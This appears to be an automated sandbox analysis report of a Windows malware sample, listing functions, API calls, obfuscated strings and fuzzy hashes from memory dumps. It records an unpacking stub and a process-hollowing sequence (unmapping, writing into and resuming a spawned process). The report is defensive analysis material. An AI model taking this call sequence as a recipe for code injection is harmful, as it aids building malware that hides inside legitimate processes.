String ID: 8*@$8Y<6$9~uN$?<l-$E%os$r$z&i>
API String ID: 576434963-2732166875
Opcode ID: ab12873d7130227bdc8abd491444833df2d3a03ed6623730f2fa6fe7d6ff1de2
Instruction ID: 8c9c9f69fba74422944eb6b5350edcb967ebf87d1715c23092927a671499f125
Opcode Fuzzy Hash: ab12873d7130227bdc8abd491444833df2d3a03ed6623730f2fa6fe7d6ff1de2
Instruction Fuzzy Hash: 95A140B15083809FC210CF2A958850BFBF4FF95714F508A1CF5AAA6621D774CA89CF8B

Function 02210110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02210156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0221016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02210255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02210270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02210283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0221029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022102C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022102E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02210304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0221032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02210399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022103BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022103E1
ResumeThread.KERNELBASE(00000000), ref: 022103ED
ExitProcess.KERNEL32(00000000), ref: 02210412

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 183b284a51a4de45eb43a49aae16098dcfe43d07e968032702add6b6963ce898
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: ACB1C974A00209AFDB44CF98C895F9EBBB5FF88314F248158E909AB395D771AE41CF94

Function 021707C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 021707EE
Module32First.KERNEL32(00000000,00000224), ref: 0217080E

Memory Dump Source

Source File: 00000007.00000002.2311748071.0000000002170000.00000040.00000020.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2170000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: d1445334c1a9b8c0c85dfdf0cfad7439b57ab0310973cf8d38e47b98da51e0b2
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 5DF062316407146FD7203BB5A88DB6F76F8AF8D725F100538E642911C0DB70E8458A61

Function 00401530 Relevance: 80.9, APIs: 30, Strings: 16, Instructions: 399
librarymemorytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(00000000,00000000,00000001,00000000), ref: 00401547
LocalAlloc.KERNELBASE(00000000,0007FD05), ref: 00401584
VirtualProtect.KERNELBASE(00000000,00000040,2FA0F88F), ref: 0040159C
SetLastError.KERNEL32(00000000), ref: 004015A8
GetTickCount.KERNEL32 ref: 004015AA
RemoveDirectoryW.KERNEL32(00000000), ref: 004015E3
IsBadStringPtrA.KERNEL32(sesowalotorufowefave wupeyusibetanuk,00000000), ref: 004015F0
LoadLibraryA.KERNEL32(xitecesacocihuyirimiyuzowoweteg), ref: 004015FB
GetVolumeInformationA.KERNEL32(jiticisakakojiledig,?,00000000,?,?,0F3060F4,?,00000000), ref: 00401620
PurgeComm.KERNEL32(00000000,00000000), ref: 0040162A
SetComputerNameExW.KERNEL32(00000000,jubekihofivep sewudujo jepedelavehumujiconikufofoze nap lapiyico), ref: 0040164E
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0040165E
LoadLibraryExW.KERNEL32(xivuxigosazixani,00000000,00000000), ref: 0040166D
GetConsoleAliasA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00401679
SetLastError.KERNEL32(00000000), ref: 00401698
TzSpecificLocalTimeToSystemTime.KERNEL32(?,7104DC19,4DDEDD50), ref: 004016E7
WriteConsoleW.KERNEL32(00000000,00000000,00000000,73F34F3F,00000000), ref: 004016F7
SetFileAttributesW.KERNEL32(meromuzinavuzohuvu,00000000), ref: 00401703
BuildCommDCBA.KERNEL32(00000000,511CF560), ref: 0040170E
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00401725
LoadLibraryA.KERNELBASE(msimg32.dll), ref: 00401733
CreateEventW.KERNEL32(00000000,00000000,00000000,gamovusahigave), ref: 00401756

Part of subcall function 00403525: __fsopen.LIBCMT ref: 00403530

Part of subcall function 00403B9A: _doexit.LIBCMT ref: 00403BA4

GetCharWidthI.GDI32(00000000,00000000,00000000,00000000,00000000,7104DC19,4DDEDD50,32F16B60,185911A7,511CF560,39E28F6C,127C64A9,39C630B1,21870240,7EA84DC7,7EA84DC7), ref: 00401AD0
GetModuleFileNameA.KERNEL32(00000000,00000000,00000000,7104DC19,4DDEDD50,32F16B60,185911A7,511CF560,39E28F6C,127C64A9,39C630B1,21870240,7EA84DC7,7EA84DC7,4441C554,4E757E39), ref: 00401AD9
_calloc.LIBCMT ref: 00401AFE
_fseek.LIBCMT ref: 00401B06
GetNumberFormatW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000), ref: 00401B3D
GetLastError.KERNEL32 ref: 00401B43
SetLastError.KERNEL32(00000000), ref: 00401B4A
GetSystemDirectoryA.KERNEL32(?,00000000), ref: 00401B94

Strings

msimg32.dll, xrefs: 0040172E
sesowalotorufowefave wupeyusibetanuk, xrefs: 004015EB
z&i>, xrefs: 004018F1
E%os, xrefs: 00401860
8*@, xrefs: 00401926
xivuxigosazixani, xrefs: 00401668
8q , xrefs: 00401549
r, xrefs: 0040182D
9~uN, xrefs: 004017C4
jiticisakakojiledig, xrefs: 0040161B
meromuzinavuzohuvu, xrefs: 004016FE
xitecesacocihuyirimiyuzowoweteg, xrefs: 004015F6
?<l-, xrefs: 00401873
jubekihofivep sewudujo jepedelavehumujiconikufofoze nap lapiyico, xrefs: 00401647
8Y<6, xrefs: 0040193B
gamovusahigave, xrefs: 00401748

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: ErrorLast$ConsoleLibraryLoad$CommCreateDirectoryEventFileLocalNameSystemTimeWrite$AliasAllocAttributesBuildCharComputerCountFormatInformationModuleNumberProtectPurgeRemoveSpecificStringTickVirtualVolumeWidth__fsopen_calloc_doexit_fseek
String ID: 8*@$8Y<6$8q $9~uN$?<l-$E%os$gamovusahigave$jiticisakakojiledig$jubekihofivep sewudujo jepedelavehumujiconikufofoze nap lapiyico$meromuzinavuzohuvu$msimg32.dll$r$sesowalotorufowefave wupeyusibetanuk$xitecesacocihuyirimiyuzowoweteg$xivuxigosazixani$z&i>
API String ID: 162203167-3322250909
Opcode ID: 266e55543e78bd61230044ce620f7eb33ee2a16293c7d2e8708097af511e785a
Instruction ID: 7762e64ff74b316e068783f15468691cb6128d2b8b30a4f8c0156d9414773fa9
Opcode Fuzzy Hash: 266e55543e78bd61230044ce620f7eb33ee2a16293c7d2e8708097af511e785a
Instruction Fuzzy Hash: 38F1BDB1508340AFC310DF66D988AAFBBF8FB88704F10492DF595A7260C7B49945CF6A

Function 00403BAE Relevance: 22.6, APIs: 15, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00403BC6

Part of subcall function 00407CF0: __FF_MSGBANNER.LIBCMT ref: 00407D07
Part of subcall function 00407CF0: __NMSG_WRITE.LIBCMT ref: 00407D0E
Part of subcall function 00407CF0: HeapAlloc.KERNEL32(00530000,00000000,00000001,00000000,00000000,00000000,?,00404E54,00405CEC,00405CEC,00405CEC,00000000,?,00406D17,00000018,00417FF0), ref: 00407D33

std::exception::exception.LIBCMT ref: 00403BE4
__CxxThrowException@8.LIBCMT ref: 00403BF9

Part of subcall function 00403D8F: RaiseException.KERNEL32(?,?,004022A2,?,?,?,?,?,?,?,004022A2,?,00417DEC,?), ref: 00403DE4

___crtGetShowWindowMode.LIBCMT ref: 00403C0B

Part of subcall function 00406E4A: GetStartupInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00403C10,00417EE8,00000014,00000003,00417D7C), ref: 00406E54

_fast_error_exit.LIBCMT ref: 00403C6E
_fast_error_exit.LIBCMT ref: 00403C7F
__RTC_Initialize.LIBCMT ref: 00403C85
__ioinit.LIBCMT ref: 00403C8E
_fast_error_exit.LIBCMT ref: 00403C99
GetCommandLineW.KERNEL32(00417EE8,00000014,00000003,00417D7C,00000003,00000001), ref: 00403C9F
___crtGetEnvironmentStringsW.LIBCMT ref: 00403CAA
__wsetargv.LIBCMT ref: 00403CB4
__wsetenvp.LIBCMT ref: 00403CC5
__cinit.LIBCMT ref: 00403CD8
__wwincmdln.LIBCMT ref: 00403CE9

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: _fast_error_exit$___crt$AllocCommandEnvironmentExceptionException@8HeapInfoInitializeLineModeRaiseShowStartupStringsThrowWindow__cinit__ioinit__wsetargv__wsetenvp__wwincmdln_mallocstd::exception::exception
String ID:
API String ID: 1274217231-0
Opcode ID: 34de4b0dec47fe959376c110c8d13bafd3370af2513aae66f09266ccc82565e8
Instruction ID: 923715916e9a3765d70d991b2f84e399c80372530a988729e0e840d900c51a75
Opcode Fuzzy Hash: 34de4b0dec47fe959376c110c8d13bafd3370af2513aae66f09266ccc82565e8
Instruction Fuzzy Hash: E33193716043059AEB10BFB6A946B6E3AAC9F0070EF10447FF904FA1D2EFBC9A50565D

Function 02210420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02210533

Strings

saodkfnosa9uin, xrefs: 022104DA
0, xrefs: 02210492
d, xrefs: 02210584
mfoaskdfnoa, xrefs: 02210520, 02210523

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 143cf45b66d8c5618922490a09c9883e1e5a05c946fb3b771abf5006b85aa5e4
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 9C511A70D08388EAEB11CBE8C849BDDBFF26F21708F144058D5447F28AC3BA5658CB66

Function 022105B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022105EC

Strings

apfHQ, xrefs: 022105E2, 022105E5
o, xrefs: 02210600

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: e28b8b5dc4d550e761b2378ce38154a15c716e7868a6fed9aaa08447bcf7e108
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 55011E70C0429DEADB10DBD8C5587AEBFF5AF51308F148099C8092B241D7B69B98CBA1

Function 02170485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 021704D6

Memory Dump Source

Source File: 00000007.00000002.2311748071.0000000002170000.00000040.00000020.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2170000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d4268998756afcda1a6334b1946b897647e79c0c6d494908dd369d4f78b8c8d2
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: AA113C79A40208EFDB01DF98C985E99BBF5AF08350F058094F9489B361D371EA90DF90

Non-executed Functions

Function 00407197 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,0040485B,?,?,?,00000000), ref: 0040719C
UnhandledExceptionFilter.KERNEL32(?,?,?,00000000), ref: 004071A5

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6ae45ecafa3ac629cf61acffbe5f9ddd049829b4c7c42bc0b5ef8913bf588e28
Instruction ID: aeddbf3bdd2e49c05505039f75652dddf48dddaeb04ed195a151db5460708f30
Opcode Fuzzy Hash: 6ae45ecafa3ac629cf61acffbe5f9ddd049829b4c7c42bc0b5ef8913bf588e28
Instruction Fuzzy Hash: 05B09235044208ABCB102B91EE09B883F2AEB08652F008120F70D84060CBA25520CA9E

Function 00407166 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 0040716C

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c82fe9fddf3832e54a701ab95f46ca5a8e7ceca6a78b4636ae38843524364521
Instruction ID: 7566cd4a113dffafc520eb1d9bb918e1dc3aebe367d492660efc51926f0d0178
Opcode Fuzzy Hash: c82fe9fddf3832e54a701ab95f46ca5a8e7ceca6a78b4636ae38843524364521
Instruction Fuzzy Hash: 6BA0123000010CA78A001B41ED044843F1DD6041507004020F60C40020C76255208589

Function 0217171C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2311748071.0000000002170000.00000040.00000020.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2170000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: 5e0328cc782d21bc8892c92c8b44473ebabc059df1fe2e7ecb131defc2dcaa2b
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 3031693584A245AFCB15CE70D890AB5BB71EF87224F1995ACC4C98B102D3355046C794

Function 021700A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2311748071.0000000002170000.00000040.00000020.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2170000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 2876f823d6acfd4dacded13340673782697500ab622517539f0c07be2a4ef31f
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: B1113CB2380201AFD754DE55DC81FA673EAEB8D360B198069ED08CB316D776E842CB60

Function 02210042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 381cae556dd3feeb35d9d5a494274e5c54357251123f432acef734e90cbfd476
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 0C1182723501009FD754DFA5DC90FA673EAFB98320B198165ED08CB315D675E941C760

Function 02236437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0223644E

Part of subcall function 02239636: __calloc_impl.LIBCMT ref: 02239645

__calloc_crt.LIBCMT ref: 02236472
_free.LIBCMT ref: 02236480
__calloc_crt.LIBCMT ref: 0223648E
_free.LIBCMT ref: 0223649E
_free.LIBCMT ref: 022364A4
__copytlocinfo_nolock.LIBCMT ref: 022364B3
__setmbcp_nolock.LIBCMT ref: 022364D4
_free.LIBCMT ref: 022364E2
___removelocaleref.LIBCMT ref: 022364E9
___freetlocinfo.LIBCMT ref: 022364F0
_free.LIBCMT ref: 022364F6

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 43e677761a587c9b91b48a77f13585c6602ced2ed840fcb28a0ee1d72538e486
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 5B21CFF2624301BAE7333FE5CC01E2B7BEEDF42760B508029E548550ACEB628560CE58

Function 02233F16 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02233F51

Part of subcall function 02235BA8: __getptd_noexit.LIBCMT ref: 02235BA8

__gmtime64_s.LIBCMT ref: 02233FEA
__gmtime64_s.LIBCMT ref: 02234020
__gmtime64_s.LIBCMT ref: 0223403D
__allrem.LIBCMT ref: 02234093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022340AF
__allrem.LIBCMT ref: 022340C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022340E4
__allrem.LIBCMT ref: 022340FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02234119
__invoke_watson.LIBCMT ref: 0223418A

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 3d594bb0021cdbbe7c166fbaf83174a8e1b95cea3535d1da0ab277559336700b
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 7F71DCB1A20B17ABD719EEB9CC40B5A73B9BF10364F144179E514E6698EB70DA40CBD0

Function 0223650E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 02236547
__calloc_crt.LIBCMT ref: 02236598
__lock.LIBCMT ref: 022365AE
__copytlocinfo_nolock.LIBCMT ref: 022365BF
_wcscmp.LIBCMT ref: 022365F9
__lock.LIBCMT ref: 02236610
__updatetlocinfoEx_nolock.LIBCMT ref: 02236622
___removelocaleref.LIBCMT ref: 02236628
__updatetlocinfoEx_nolock.LIBCMT ref: 02236647

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 13070783de127a844da865ecfea733f2e72da22a6ff5c4f06fe18d72e5cf3246
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 4E4124F2924305BFDB02AFE4D980BAE3BFEAF04314F10442DE91496198CBB98544DF19

Function 022384AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 022384B1
_free.LIBCMT ref: 022384E2
_free.LIBCMT ref: 022384F5
_free.LIBCMT ref: 02238513
_free.LIBCMT ref: 02238525
_free.LIBCMT ref: 02238536
_free.LIBCMT ref: 02238541
_free.LIBCMT ref: 02238565
_free.LIBCMT ref: 02238581
_free.LIBCMT ref: 02238597
_free.LIBCMT ref: 022385BF

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 558906d036ddeb4ea88fbf3840553051b634a0af95356c6ea759be9e724f0a94
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 0431C8B3A10351DFCF135F94FC8084977A6FB14324705852AFA085B2B4CBB459C99F96

Function 0225FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0225FC1F

Part of subcall function 0224169C: std::exception::_Copy_str.LIBCMT ref: 022416B5

__CxxThrowException@8.LIBCMT ref: 0225FC34
std::exception::exception.LIBCMT ref: 0225FC4D
__CxxThrowException@8.LIBCMT ref: 0225FC62
std::regex_error::regex_error.LIBCPMT ref: 0225FC74

Part of subcall function 0225F914: std::exception::exception.LIBCMT ref: 0225F92E

__CxxThrowException@8.LIBCMT ref: 0225FC82
std::exception::exception.LIBCMT ref: 0225FC9B
__CxxThrowException@8.LIBCMT ref: 0225FCB0

Strings

leM, xrefs: 0225FCA8

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 4cace3a36ab4f96211a5124a0b7b9309c5d1ea736ff362843ef9ef6c07d23c3d
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 11110A79C1030DBBCB04FFE5D455CDDBB7DAA04740B408566AD1897244EB74E3988F94

